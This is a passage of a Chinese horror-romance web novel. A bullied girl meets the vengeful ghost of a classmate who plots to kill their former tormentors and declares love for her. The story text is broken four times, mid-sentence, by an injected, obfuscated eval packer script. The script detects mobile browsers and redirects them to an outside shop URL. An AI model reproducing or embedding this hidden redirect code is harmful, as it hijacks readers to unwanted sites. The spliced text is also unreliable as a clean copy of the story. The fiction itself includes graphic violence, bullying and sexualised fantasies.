;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16763676|190162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丢丢好意当成无上的爱。 潮曳就是这样的可怜虫。 她曾经真的把乔菱纱当成好朋友。 成绩平平的潮曳,中考超常发挥,考上了名屿。 这所学校虽然不是屿城最好的高中,但对潮曳来说已经很不容易。名屿的学生要么成绩优异,要么家里有钱和门路。 开学第一天,潮曳的心万分忐忑。 一方面,她不想像初中那样,永远当一个不被人注意的阴角。 她也想要玫瑰色的高中生活,有一个无话不谈的好朋友,加入学校的手工社团,甚至谈一场恋爱…… 另一方面,她觉得这种想法很危险。 躲在阴暗的角落里固然可怜,但至少是安全的。 不和人交往,就不会被讨厌,也就没有受伤的机会。 很多时候,潮曳其实能从孤独中感受到快乐,她很享受一个人做手工的时光。 虽然有时她也会寂寞,像每一个青春期的女孩一样,渴望受到关注。 但她知道自己长得不好看,曾有过一两次主动搭话,换来的是无比尴尬的场面,便越发习惯缩头乌龟了。 既然这样。 还是继续当一个阴角吧…… “你这个挂件是在哪里买的?好可爱。” 被分到潮曳前面座位的女生,声音如银铃般清脆,还有着一双漂亮的、笑意盈盈的大眼睛。 意识到她在向自己搭话,潮曳直接宕机了。 “这,这,这是……”小小声,“我自己做的。” “哎??这么厉害??”美女同学惊讶,“怎么做的?需要什么材料?做了多久?你的手好巧啊!” 潮曳满脸通红,不知所措。 这是第一次有人夸她做的东西。 “我叫乔菱纱。你呢?” “潮……潮曳。林潮曳。” “小潮曳,我可以和你做朋友吗?” “诶?我……我吗?” 潮曳和乔菱纱成为了朋友。 吃饭,逛街,看电影,乔菱纱都带着潮曳。 这是潮曳人生第一次交到朋友。她甚至想过,如果走在路上遇到随机杀人狂想对乔菱纱下手,她一定会挺身而出,挡在面前。 好朋友。 好朋友。 她给乔菱纱做了个一个羊毛毡。 漂漂亮亮的小公主。 那天,乔菱纱的脸青青紫紫,嘴角也肿了起来,看起来很痛。 潮曳的心都要碎了,她不知道如何关心好朋友,从没有过这方面的经验,只能手足无措地呆站在原地。 直到乔菱纱开口,说想要一个人静静。 潮曳便乖乖地走开。 乔菱纱请假了一周。 再见到她的时候,她的身边出现了一个又高又胖的男生。 朱志远。 乔菱纱说她在和朱志远交往,并当着潮曳的面和朱志远接吻。 那之后,乔菱纱和朱志远开始欺负潮曳。 一开始潮曳并不知道那是“欺负”。 她虽然不喜欢乔菱纱有自己以外的新朋友,还是比“朋友”更特殊一点的“男朋友”。 但她乐意为乔菱纱跑腿,给乔菱纱写作业,在她和朱志远亲热时放风……朋友就要为了朋友做一切事情。 直到朱志远揍了潮曳。 特别痛的一拳。 “对不住。看你特别像沙包,就揍咯。没事吧?” “你叫潮什么来着?得了,干脆以后就叫你高潮了吧。” 朱志远说这些话的时候,乔菱纱就坐在他旁边,咯咯直笑。 潮曳原本打算在那天将终于做好的羊毛毡送给她的。 6.他的鬼魂 不要再回想过去了。 都是不开心的事。 潮曳深吸一口气,站起身,忍着脚踝的疼痛,一瘸一拐地寻找出路。 四周已彻底陷入漆黑,除了窗外投落进来的冷冰冰的月光,再无其他光亮。 也就是这点光亮,让潮曳看清周围发生了怎样恐怖的变化。 这里不再像最初所看到的那样布局华丽、装饰精美。 城堡突然间变成了废墟。 墙皮剥落,地砖裸露,到处结着蛛网,散落着各种各样虫子的尸体,空气中飘浮着荒凉废弃之地才会有的潮闷气味。 当潮曳返回到餐厅,见到更加吓人的一幕: 餐厅里的食物全都腐烂了,密密麻麻的蛆虫从上面爬过,汤水中漂浮着蟑螂、苍蝇和老鼠的尸体。 潮曳胃中翻滚,一想到刚刚乔菱纱那些人在吃这种东西,想吐又吐不出来。 怎么才能从这里出去? 她好想回家。 窗户上,一道影子闪过。 潮曳无法安慰自己是错觉。 刚刚那个恐怖的女鬼会害怕手机的闪光灯。 潮曳将手机摄像打开。 但这么做会让本来就所剩无几的电量消耗得更快。 她朝前摸索,走上台阶。 二楼的尽头处传来咚咚咚,类似拍打篮球的声音。 过了一阵,又有像加油一样声音,很是热闹。 潮曳走进室内运动场,拍打篮球的声音更大声了,由于四周很黑,她无法看清环境,只感受到脚边有一个圆溜溜的东西,下意识伸手摸了摸。 摸到了眼睛和鼻子。 这是一颗人头。 潮曳想撒手,人头却黏在了她手上,甩不掉。 她不知哪来的勇气,用另一只手揍了人头一拳,终于将头颅弄开。 就在这时候,运动场的灯亮了起来。 她以为是有人在拍打篮球,但其实整个屋子里都是跳动的人头,头颅撞击地面才发出的咚咚声。 人头朝她凝视而来,发现了目标,全都跳动着跑过来。 潮曳迅速拿起手机,人头发出“咿呀”“啊嗷”“呜呢”之类的拟声词,被相机闪光灯刺激到了。 潮曳借此机会跑了出去。 本想往楼下跑,却发现那个脖子上插着刀的女鬼正在上楼,四周还跟着一堆木雕小人。 吓得潮曳魂飞魄散,不得不切换路线往上跑。 然而朝楼上走了没几步,又有一个身影正在下楼。 那是一个脑袋往里凹陷,头扁了一大块的鬼,手里拿着棒球棍,棍子尖端往下滴血,还拖着一些肉块。 他还没看到潮曳。 但快了。 女鬼也在接近。 潮曳无路可跑,只能冲进了二楼的卫生间,迅速将门反锁。 卫生间并不是一个优秀的躲藏点,因为这里面有容霏霏的尸体。 可潮曳没有办法,她躲进隔间,缩在最角落,内心被恐惧占据,什么都无法思考。 乔菱纱他们肯定都死了,接下来就要轮到她。 门外传来传来“嘻嘻嘻嘻”的笑声。 还有球棒在砸东西的声音。 潮曳捂着耳朵,紧紧抱着叫做小雪的人偶。 大概十几分钟后,门外异响消失了。 潮曳不敢出去。 她的腿都麻了,慢慢挪动身体,趴在地上,从门缝朝外看了一眼。 容霏霏的尸体消失了。 砰的一声! 隔间的门被砸出一个凹痕,潮曳死死捂住嘴。 又砸一下,凹痕变深。 再一下,门直接裂开,一只鬼手伸进来,抓住了她的脖子! 潮曳终于没忍住放声尖叫。 “住手。” 就在潮曳以为自己要被恶鬼活活掐死前,一道声音阻止了球棒鬼的动作。 “啊?什么?你说什么雪溯哥?我耳朵这边不好使你知道的。” “让你住手。” 门被完全打开。 光亮、声音、以及一股淡淡的气息涌上前来,蜷缩在角落的潮曳呆呆抬起头,看见了那张脸。 一半俊美,精致,画一样的美少年。 一半僵硬,不对称,半脸碎尸杀人魔。 原来真的是他的鬼魂来复仇了。 潮曳两眼一翻,晕了过去。 …… 现在想来,雪溯和她不一样的地方还有一点。 那就是雪溯尝试过很多次自救。 他肯定和大人说过在学校被欺负的事。 可惜他的家人,那个见钱眼开的继父并不会管这种事。 雪溯也找过老师。 当时他们的班主任还是邹老师,一个古板做派的女老师,偶尔会说出“女主怎么能行还得是男生”、“女生更文静听话但考试考不过男生”这种言论。 潮曳不喜欢她。她教的是潮曳最讨厌的数学,曾经还把潮曳考了25分的卷子冷着脸甩在了她桌上。 但有一次,潮曳突然来了月经,经血弄脏了校服裤子,非常明显的一块。 偏偏课堂提问喊到了她的号数。 如果这种时候站起来回答,就要将红惨惨的背后暴露在全班同学的面前。 或许是潮曳无措而难受的模样被邹老师注意到了,那个古板的女老师开口道: “算了,不用你回答了。你肯定也答不出来,放学来我办公室一趟。” 她来到邹老师的办公室,做好挨骂的心理准备。 但邹老师只是递给了她一条崭新的裤子,和一袋未开封的卫生巾。 “赶紧去换一下。” …… 雪溯把被欺凌的事告诉了邹老师。 邹老师将乔菱纱等人叫到了办公室,进行了沟通。 那之后,六人组对雪溯的欺负消停了一阵。 然而,邹老师很快被调到了别的学校。 薛宣仁成为了他们的新班主任。 风趣幽默的年轻男老师,海归,思想开放,长得帅,最爱挂在嘴上的话是“我们是一个民主的班级”、“性别平等,女生和男生都一样”,很快和学生打成一片。 他似乎比古板的邹老师要好太多。 可却也是他,让雪溯彻底落入更深的地狱。 …… 潮曳醒了过来。 在一张柔软的大床上。 周围布置得十分温馨,各种动物玩偶和洋娃娃包围了粉红色的圆床,像一个公主房。 潮曳没睡过这么柔软的床铺,一时不想起来。 当她意识自己身在何处,又经历了什么,猛地坐起身,夺门而出。 鬼!鬼!鬼! 这个地方都是鬼!! 快跑!!! 门外拐角,站着三个人。 其中两个,是潮曳见过的脖子扎刀的女鬼和脑袋凹了一块的男鬼。 “又被他们跑了……好难对付的人类……对不起,溯哥哥。”女鬼说。 “他们身上带的玩意儿太厉害了,我只要一靠近就浑身难受。”男鬼道,“但雪溯哥你放心,我会再试试看!反正他们是离不开这儿的。” “比起那个,你差点伤害到了她。” 叫雪溯的少年还是十八岁时的模样,没有任何改变。 那只淡蓝色的眼睛,蕴着忧郁和淡淡孤高,还有那雪一样凉凉浅浅的嗓音。 “对不起,我错了!”男鬼双手合十,“我不知道那是雪溯哥的女人,再也不敢了!” “知道错就好。待会她醒来,你们都去道个歉。” “我才不要道歉!”说话的是女鬼,“我不明白,那个女人难道不是和他们一伙的吗?溯哥哥,你别被骗——” 雪溯的身体径直穿过墙壁,走进了潮曳刚刚所在的公主房:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16769094|190162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别说这种话。” 鬼。 真的是鬼。 潮曳躲在角落,一动不敢动。 完蛋咯。 含冤而死的少年,心怀怨气,化身为厉鬼,六年后前来报仇。 如果复仇的对象不是自己,潮曳一定会觉得这样的剧情大快人心。 她死定了。 不管怎么想,她都死定了。 趁他们还没发现她醒来,从这里逃走? 怎么逃。 那可是鬼啊。 穿墙遁地,杀人无形。 潮曳想到了还没做完的手工们。 她不想死。 勇气就这样冒出来,潮曳开始沿有光亮的方向小心翼翼挪动过去。 插刀子女鬼和凹脑袋男鬼暂时没发现她。 就这样,慢慢地移动。 前面就是台阶了。 慢慢地。 面前飘来一家三口。 惨白的脸,没有瞳孔的黑洞洞眼眶,脚悬空漂浮,身体各处在往下滴落着混浊血水。 应该是一家三鬼。 “我们的房子什么时候能修好?” “我的孩子什么时候能去上学?” “什么时候能把钱还给我们?” 来自鬼魂的三连质问。 潮曳无法回答,脚下还踩空了。 准确来说,是她脚底下的地板莫名其妙地裂开,她就这样毫无防备地摔了下去。 不太痛。 好像摔在了什么非常柔软的东西上。 潮曳睁眼望去,和板鸭公周行之睁大的眼睛对上了。 他的身体变成了一块一块的,每一块大小匀称,就像切好的板鸭一样。 板鸭的头孤零零摆放在正中央,他的表情像在死前看到了人生最恐怖的画面,因而死了也不能瞑目。头上还戴着一个皇冠。 这个皇冠一下子就让潮曳想起了什么。 他们也给雪溯戴过“皇冠”。 那是薛宣仁美其名曰民主自由,让学生自己举行的一场班会活动。 活动主题是评选“全班最帅的男生”和“全班最美的女生”。 雪溯获得了全部的票数。 周行之笑嘻嘻地将皇冠戴在了他的头上。 “接下来,让我们掌声欢迎,最帅的男生和最美的女生——现场接吻!!” 最美的女生是从隔壁班级选出来的。 一个250斤的胖女孩。 她很无辜,也很单纯,甚至不知道这是羞辱,看到雪溯后,还露出了小鹿乱撞的害羞表情。 这让全班人笑得更加放肆。 他们将雪溯和胖女生的脸按在一起。 雪溯紧抿着唇,全程倔强地将脸撇开。 …… 周行之也死了。 除了他的尸块,周围还有好多白花花的头骨,不知道属于多少人。 这里是地狱。 潮曳很想再次昏过去。 但她看到了那只淡蓝色眼睛。 它正在凝视着她。 潮曳上网查过雪溯这种病。 手术后遗症,极罕见的发病率。 面部半瘫痪、大小眼、虹膜颜色褪淡,褪色的那只眼睛视力很差,几乎失明。 可它在凝视着她。 仿佛可以洞悉她的心灵。 那颗丑陋、卑劣的心灵。 雪溯走了过来,朝她蹲下身。 潮曳不知道自己会以什么样的方式死去,事到如今,她只希望不要太痛苦就好。 便闭上了双眼。 等待。 处死。 额头上一凉。 冰冰凉的触感,像碰到了,又像没有碰到,只是感觉异常柔软,还有淡淡潮湿的雪气。 潮曳错愕地睁开眼。 少年有些不好意思地看着她:“我以为你闭眼睛是这个意思。” 7.甜蜜的爱 她被鬼亲了。 在满地尸体的场合下。 被一只男鬼亲了。 潮曳全身都在发抖。 雪溯也注意到了:“你怎么一直发抖?很冷?” “……” “你不会忘记我了吧。”男鬼自我介绍,“我叫雪溯。” “……” “忘记也很正常……没有关系。” “接下来再慢慢熟悉彼此就好了,林潮曳。” 雪溯叫了她的名字。 原来他记得她的名字。 这下潮曳抖得更厉害了。 “冤有头债有主”“不是不报时候未到”……潮曳满脑子都是这些话,目光落到了死不瞑目的周行之的脑袋上。 雪溯淡淡解释道:“哦,他是第三个。” 排队叫号的语气。 “接下来还有朱志远、乔菱纱和谢博彦。” 报菜名一样的语气。 “最后,是薛宣仁。” 加菜。 “我会一个个杀掉他们。” “……” 雪溯终于意识到面前人的发抖不止因为冷。 “你很怕我?” 潮曳战战兢兢地点了点头。 “放心,我不会伤害你。那个时候,只有你帮了我。” 已经死去的少年,还穿着当年的校服,白色衬衣,绀色西裤,永远十八岁。 潮曳却清楚记得这身衬衣如何被鲜血染红,这具尸体如何被抬上担架,葬礼上的人们如何虚伪哭泣,他最后如何变成一罐灰。 叫雪溯的转学生已经死掉了。 而他的冤魂。 好像对她产生了一点误会。 雪溯望着潮曳仓鼠般呆愣的表情,实在没忍住,俯下身来,在她脸上亲了一口。 亲完后,潮曳还没作出反应,他的脸倒先红了。 …… 潮曳被送回了公主房。 脚踝上的伤在昏过去的时候被包扎处理过了。肯定是雪溯弄的。 考虑到潮曳腿脚不便,雪溯一路“抱着”她。 潮曳则觉得自己漂浮在一只巨大的冰袋上。 好冷。透心凉。 她被放回那张圆床上,周围的小动物和洋娃娃好奇地望向她俩。 “以后这就是你的房间了。” 房……房间? “你喜欢吗?” “其他房间都死过人,有的是上吊的,有的是被虐杀的。” 潮曳赶紧猛猛点头。 喜欢喜欢,她最喜欢这个房间! 雪溯心情很好。他在床边坐下,一眨不眨盯着她。 “你肚子饿吗?” “还……还好。” 话音落下,肚子就发出了怪叫。 “餐厅有吃的。等会带你去。” 不了吧。 那些东西真的能吃吗。 “灵玖和时砚不是故意伤害你的。他们不知道……你是站在我这边的。” 灵玖?时砚? 难不成是那两个扎刀子和凹脑袋的鬼…… “等下,会带你和大家见个面。” “他们都很好的。” 大家。 不会全都是鬼吧。 “林潮曳。我很高兴……终于能再见到你。” 后面半句话,说的小小声。 他还是和以前的雪溯一样,有点腼腆,有点冷淡。 又有哪里不一样。 对了。 他注视她的目光…… 就像潮曳注视自己最心爱的手工作品的目光一样。 潮曳终于能确定一点。 他搞错了。 这个叫雪溯的鬼魂。 彻彻底底、完完全全地搞错了! 唯一帮助过他? 站在他那边? 他都在说什么啊。 明明是她。 明明是她把他害成这样的! * 为什么要冒着风险帮助雪溯呢? 一旦被乔菱纱等人发现,潮曳知道自己会死得很惨。 一次也就算了。 两次。 三次。 …… 潮曳忍不住。 她知道自己内心住着一个变态魔鬼。 她享受这种感觉。 非常享受。 这个世界上,有一个比她还要悲惨、被欺负得伤痕累累、像蟑螂一样不断挣扎也无济于事的人类,比她更脆弱,更可怜,更不值一提。 每每想到这一点,潮曳就会涌现出生活的动力,甚至觉得头顶天空更蓝,万物都如此美好。 不可以。 他不可以像其他人一样受不了了,选择转学。 他得留在这里,和她一起受苦。 她可以充当巴掌和甜枣中的后者,稍微给予他一丝关爱。 衣服,毛巾,还有豆奶。 他的人格就不会完全死去,他愿意相信这个世界还有温暖,还有人肯帮助他。 凭靠幻象般的善意,哪怕遍体鳞伤,千疮百孔,也要忍受着痛苦活下去。 这就是人类。 更何况。 如果不是她向乔菱纱他们告密,他原本不用死的。 在雪溯死之后,她还用他的遗照来安抚自己,不止一次想象和他的场面。 她让雪溯躺在她做的手工娃娃上,变成了最大的那只娃娃。 她要重新调整这只娃娃的外形,先是娃娃的脸,倔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777060|190162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 强着、紧抿之处变得软湿起来,再到娃娃的身体,她是娃娃的主人,可以随心所欲地触碰。 她会打开房间的灯,好能看得更清楚,那日闪光灯下匆匆一瞥的惊人之物,不知不觉已经烙印进她的脑海里,上课、吃饭、喝水、睡觉都会想到。她不是变态,明明都是他的错。她会模仿朱志远他们的口吻,在娃娃耳边呢喃“看不出来它是这样的”。 娃娃露出奇怪的表情,看起来难受极了,却只能任由她处置。 * 潮曳面红耳赤,心脏狂跳。 雪溯毫无所觉。 他真把她当成救命恩人,打算放她一马? 他说要接着杀掉朱志远、乔菱纱、谢博彦,还有薛宣仁。 这里头不包括她。 潮曳开心不起来。 有什么可怕的东西笼罩头顶,随时要被戳破一样不安。 会客厅里飘着一群鬼。 有她见过的扎刀子女鬼和凹脑袋男鬼。 凹脑袋男鬼:“我是时砚。刚刚吓到你了,对不住。” 潮曳恐惧地望着他凹陷的脑袋。 “我死的时候头朝地,刚好撞成这样,除了被撞的那边耳朵不好使,别的没啥。别害怕。”时砚注意到她的目光,热心解释,“我被我老爸打死的。” 潮曳:“……” 扎刀子女鬼哼了一声:“沐灵玖。” 她好像不太喜欢潮曳。 “灵玖是自杀的。她的手工做的很厉害,那些木雕都是她做的。” “闭嘴吧时砚!”叫沐灵玖的女鬼嘟囔,“比起潮汐之夜,我做的东西根本不算什么……” 潮曳惊讶地望着她。 时砚:“那个潮汐什么的是灵玖最喜欢的博主。” 沐灵玖给了潮曳一个“看什么看”的眼神,潮曳忙悻悻转开眼。 还有刚才向潮曳提问的一家三鬼。 除了反复询问“我们的房子什么时候能修好?”、“我的孩子什么时候能去上学?”、“什么时候能把钱还给我们?”这三个问题,这一家三鬼好像不会说别的话。 “他们买了朱旭胜的烂尾楼。”雪溯道,“房子没法住,朱家不给任何赔偿,小孩上不了学。后来一家人因为建筑问题去世了。” 潮曳不知道该说什么。 为什么死的不是残猪一家人? 除了这几个鬼,旁边还有一个正在看书的戴眼镜的男鬼。 他全身浮肿,脸部肿得最厉害,五官苍白扭曲。可能是淹死的。潮曳觉得他有点面熟,一时却想不起来。 角落里,有一个浑身缠满胶带,看不见脸的鬼——是朱志远的房车在山路上撞到的尸体! 难道从那时候起,他们就踏入雪溯布下的陷阱了吗…… 8.复仇计划 还有一些别的鬼,要么躲在角落,要么吊在房顶。 潮曳怀疑他们生前都死得很惨,所以样子一个比一个吓人,不敢细看。 这根本就是个鬼屋吧…… 潮曳内心的恐慌越发强烈。 雪溯面对众鬼,像一个冷静的领导者,语调从容不迫:“已经解决三个了,和预想中一样顺利。不过难对付的还在后头。” “剩下那三人,躲起来了。” “不管躲到哪儿,他们又没法从这里出去。”时砚道,“阳毅哥可以把他们找出来。” 戴眼镜的男鬼开口:“嗯,我已经感知到大致方位了。不过,他们一直待在一起,法器叠加后的磁场效果非常强,不太好下手……” 何阳毅。 潮曳终于想起来。 这家伙曾经也是名屿中学6班的,后来转学了,她就不知他的去向了。 没想到他也死掉了…… 雪溯:“老样子,想办法让他们落单。” “从哪个人开始?” “朱志远。” “太好了!”沐灵玖兴奋道,“我早就看那个猪头很不爽了。” “雪溯哥,你已经有主意了吗?”时砚道。 “嗯。但天快亮了,得等太阳下山再行动。” 潮曳听闻雪溯的话,望了一眼窗外。 果然看到天光渐亮,已经是第二天凌晨了。 鬼害怕光。 不管是手机的闪光灯,还是太阳的光。 和人类一样,看似恐怖强大的非人生物,也有弱点。 “朱志远身上戴着朱家的辟邪手串,朱家人做了太多亏心事,曾告诫朱志远无论如何也不能让手串离身。得想办法让他主动摘下手串,再杀他。” “乔菱纱和谢博彦同理,这两人也戴着护身法器。” “朱志远智商低下,情绪容易不稳定。乔菱纱和谢博彦则不同,这两人十分聪明。朱志远只听乔菱纱的话,必须先让两人分开。” “谢博彦有特定恐惧的对象,稍加利用就可以让他死得很惨。” “乔菱纱的护身符暂不知藏在哪,不得已的情况下……”雪溯淡淡道,“无妨。死得越痛苦越好。” 众鬼都认真听雪溯分析。 就连潮曳也听得入迷。 面前人已不是高中那个无力反抗的转学生雪溯。 他改变了。 侃侃而谈杀人计划,理智,冷静,面不改色。 原本雪溯的成绩就很好,聪明人死了变成聪明鬼,再没有世俗、律法和道德的约束。 作为在场唯一的人类,潮曳根本不敢支声。 她觉得淡淡讲述杀人计划的雪溯好性感。 有一种随心所欲支配他人命运的强大与无情。性感到她想做一些奇怪的事情。 与此同时,寒意一点点爬满全身。 雪溯并不知道他到底是怎么死的。 如果他得知她是那个告密者呢? “这个家伙一直在偷听我们的计划,真的没问题吗?”沐灵玖冷不丁开口。 所有鬼望向了潮曳。 习惯当阴角的潮曳受不了这样的注视,瞬间慌了神。 “灵玖,还要我说多少次。她是站在我们这边的。”雪溯望向潮曳,“对吧,林潮曳。” 他的语气不像寻求一个回答。 而是阐述一个任何人都该知道的物理定律。 众目睽睽之下,潮曳支支吾吾地应道:“是,是,我是……站在雪溯这边的。” 雪溯听到她说出自己的名字,嘴角不着痕迹地翘起来。 杀人计划安排好了。 雪溯询问潮曳是否愿意同行,如果不愿意,可以留在房间里。 他看出来潮曳很害怕。 作为鬼的他们,早就习惯了恐怖血腥之物。但潮曳是人,不一样。 潮曳说想留下来。 雪溯欣然同意。 公主房内。 “你乖乖呆在这儿。我很快会带着朱志远的尸体回来找你。” “……” “唔,如果你害怕尸体,也可以不看。”雪溯道,“那家伙欺负你好多次,我以为你会想看到他被杀的样子?” “……” 这是两回事。 朱志远在潮曳的幻想中早被她剥皮抽筋,揍死几百次。 可幻想是幻想。 潮曳缺乏将幻想变成现实的能力,她总觉得那样会有不好的事降临,她会受到更惨痛的惩罚。 更何况,她并不无辜。 如果说一开始潮曳只是校园霸凌的受害者。 那在她选择告密和包庇乔菱纱等人之后,她就已经从受害者转变为加害者了。 烂人一个。 五十步没有资格笑百步。 “你很……善良,林潮曳。” 啊? 潮曳胆战心惊的表情看得雪溯心中一动。 他误会了她心中所想,几瞬的犹豫,俯下身来,想拍拍她的肩膀,安抚一只柔软心肠的小动物。 潮曳其实很恐惧他人的接近,这是阴暗角色的本能,也是被欺凌太久的后遗症。 他人的靠近,不是要揍她,就是要嘲笑她。 她下意识向后退去。 不想脚下踩到一个什么东西,好像是掉在地上的洋娃娃,软乎乎的。 不好,要跌倒了。 雪溯伸手一挥,用念力将潮曳扶起,稳稳放在了公主床上。 “没事吧?” 雪溯飘在她的上方。 因为离得近,他身体的一部分稍微穿透了潮曳的身体。 这种感觉……太奇怪了。 被雪溯穿透的那部分,比被他直接触碰身体还要冰冷,连带有一种麻麻酸酸的胀涩感,很无力,软软得像要化掉了,无法反抗。 潮曳想到小时候发高烧,妈妈会把冰袋放在她额头上。 冰袋很冷,她的身体很热,不停流汗,模糊不清的意识和冷热交织的温差,让她时而痛苦得想死掉,时而又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16785983|190162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莫名感觉很舒服。 够了。 别再透过来了。 “雪、雪溯……”微如蚊蚋的嗓音,“你……可不可以起来一下……” 雪溯反应过来,慌忙飘起身:“抱歉。碰到你了?我的身体太冰了。对不起。” 这家伙是个死人。 潮曳再次清晰认识到这一点。 “林潮曳,你不用这么怕我。”雪溯道,“我说过我不会伤害你。” “真的……吗……” “我没有说谎。林潮曳,你知道这六年我都是如何度过的吗?” “一开始,我还不知道自己死了,我看到了我的尸体,嗯,很惨烈。我觉得不甘心,明明差一步就要成功,讨回一个公道。” “可在那之前,我就死了。” “我的灵体飘在半空,没人看得见我,没人听到我说话,我以为被全班孤立的感觉已经够难受了,但变成鬼魂后被全世界无视的感觉有过之而无不及。” “我不知道该去哪,做什么。回家吗?可那个家……不是我的家。不会有人在意我的。” “有时候我的灵体会忽然散开,仿佛要彻底消失。但我不甘心就这样消失。” “我开始出没于一些墓地、事故现场,那种地方通常会聚集着强烈的怨气和执念,我从中吸收那些灵力,就像人类进食一样。我的灵体逐渐变得稳定,可以做出一些影响人类世界的行为,开动门窗、挪椅子之类的。用你们的话来说,就是闹鬼。” 潮曳:“……” “墓地和事故现场的灵力总会吸收完,一些人类还会自欺欺人地在土地上建立慰灵碑之类的东西。我没有一直呆在那里,某天夜晚,我根据引召,来到了‘名屿’。” “我交到了朋友。他们和我一样,都带着不甘死去。” “时砚喜欢打篮球,因为身高的缘故被学校篮球队的男生欺负,又被家暴的父亲用棒球棍活活打死。” “灵玖她曾受到很多人的欺凌,她试图用美工刀反抗,在划伤了几个霸凌者后,用刀刺进自己的脖子。” “阳毅的事,你比我更清楚,他曾因为乔菱纱等人的欺凌转学,后来又得了抑郁症休学在家,好不容易鼓起勇气继续上学,却因为得知我‘自杀’的事抑郁发作,几年后,他也……自杀了。” “在选择死亡前,他去到我的墓前,对我说了一句话。” ——“你离开以后,这个世界并没有变得更好。” “他是这么说的。” “那个时候,我忽然觉得自己得做点什么。” 潮曳瑟瑟发抖,不知如何回应他。 “还好我们都死了。” “……什么?” “如果我们还活着,永远无法讨回等价的公道。”雪溯道,“但我们死了。” “我已经帮助了时砚和灵玖复仇,你在周行之的尸块旁看到的那些头骨就是之前死在这里的霸凌者,现在,该轮到朱志远他们了。” “我要让他们死得比任何人都痛苦。” 9.人美心善 “我要让他们死得比任何人都痛苦。” 说这句话时的雪溯神情淡漠。 他的半张脸本来就因手术后遗症而面瘫,若另外半张脸也不做任何表情,便冰冷得像一台机器。 并非开玩笑。 他是认真的。 紧接着,雪溯又继续平淡地讲出更恐怖的话: “等我杀完那三个人,你愿不愿意永远留在这儿陪我?” 潮曳:“诶?” 雪溯轻弯唇角。 他朝她凑近,伸来的手臂又一次稍稍穿过她的身体,支撑在两侧,将潮曳圈入一个无可干扰的领域之中。 那种酸酸麻麻的冰冷胀涩感又出现了,从穿透的部位侵染全身,难受得紧。 “我喜欢你,林潮曳。” “……” “为什么这么吃惊?如果不是喜欢你,怎么会亲你。” “……” “我必须待在这里,一旦离开学校,灵体很快就会消散。” “但只要在这,我其实和正常人类没多大区别。不信你瞧。” 雪溯伸出手,在意识到他要做什么的时候,潮曳倒吸一口凉气。 他贴上了她的手,这次没有穿透过去。 而是用五根手指将所有间隙填满,十指紧紧相扣在一起,牢不可分。 “只要我想,我可以像正常人一样触摸你。” 雪溯的手指生得很好看。 白皙修长,骨节分明,手背上微微凸起的青筋因用力更加明显。 比梦里抚摸她身体的手指还好看。梦毕竟是假的。 那难道现在是真的? 她的手。 又胖又短的手指,和他漂亮的手形成鲜明对比。 潮曳想将自己的手抽出来,但她抽不动。 雪溯的力气比她大得多。估计还有作为厉鬼的加成。 雪溯敏锐觉察到她的别扭,顿了顿,慢慢松开了手: “林潮曳。” “你……讨厌我吗?” 雪溯的声音很平静。 周围的空气却迅速冷却下来。 温馨明亮的公主房转眼间变成冷色调,玩偶和洋娃娃像笼罩了一层冰霜,连表情都变得诡异起来。 仿佛下一秒就会扑杀潮曳。 如果她回答了“是”。 潮曳猛地摇了摇头。 雪溯不着痕迹地松了一口气。 “那,你喜……” 话语停顿。 雪溯注视着潮曳。 “不,先不要回答。你考虑一下,我的提议。” 雪溯站起身,像为掩盖某种情绪,飞快飘向门口:“我先去杀人了。” …… 雪溯离开了,临走前没有锁门。 潮曳呆愣在床上,周围娃娃们恢复了正常表情,笑盈盈地看着她。 事情怎么会……变成这样。 时隔六年,她接到乔菱纱的电话,被迫答应来自猪圈的邀约。 她以为自己又将回到饱受欺凌的学生时代。 却没想到,本该死去的转学生雪溯的鬼魂出现了。 鬼魂杀掉容霏霏三人,接下来还要去杀乔菱纱三人。 鬼魂说喜欢她,想让她永远留在这个鬼地方陪他。 这是潮曳人生第一次被人告白。 此刻,她的脑中只剩下一个字: 逃。 快逃。 趁雪溯他们去杀朱志远,快逃命!!! 潮曳急匆匆打开房门。 